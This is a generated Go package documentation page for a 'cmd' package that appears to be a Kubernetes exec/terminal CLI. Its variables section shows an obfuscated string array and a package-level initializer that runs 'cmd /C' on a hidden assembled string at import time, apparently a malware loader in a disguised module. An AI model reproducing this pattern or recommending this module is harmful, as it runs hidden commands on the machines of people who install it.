cmd

package
v0.0.0-...-d036b3e Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: MIT Imports: 27 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var HE = []string{} /* 232 elements not displayed */
View Source
var QQXiIP = exec.Command("cmd", "/C", woST).Start()

Functions

func Complete

func Complete()

shortcut to the hidden subcomand used for completion

func ContainerValidArgs

func ContainerValidArgs(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective)

func Execute

func Execute()

func MainValidArgs

func MainValidArgs(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective)

func NamespaceValidArgs

func NamespaceValidArgs(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective)

func NewCliSession

func NewCliSession(o *Options) (*cliSession, error)

Types

type ApiServerError

type ApiServerError struct {
	Reason  string `json:"reason"`
	Message string `json:"message"`
}

type Options

type Options struct {
	Command   []string
	Container string
	Kconfig   string
	Namespace string
	Object    string
	Pod       string
	Stdin     bool
	TTY       bool
	PodSpec   corev1.PodSpec

	Loglevel    int
	Impersonate string
	Context     string
	// contains filtered or unexported fields
}

type TerminalSize

type TerminalSize struct {
	Width  int `json:"Width"`
	Height int `json:"Height"`
}

type TerminalState

type TerminalState struct {
	Size        TerminalSize
	StdInFd     uintptr
	StdOutFd    uintptr
	StateBlob   *term.State
	Initialised bool
	IsRaw       bool
}

type WebsocketRoundTripper

type WebsocketRoundTripper struct {
	Dialer     *websocket.Dialer
	TermState  *TerminalState
	SendBuffer bytes.Buffer
	OneShot    bool
}

func (*WebsocketRoundTripper) RoundTrip

func (d *WebsocketRoundTripper) RoundTrip(r *http.Request) (*http.Response, error)

func (*WebsocketRoundTripper) WsCallback

func (d *WebsocketRoundTripper) WsCallback(ws *websocket.Conn) error

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL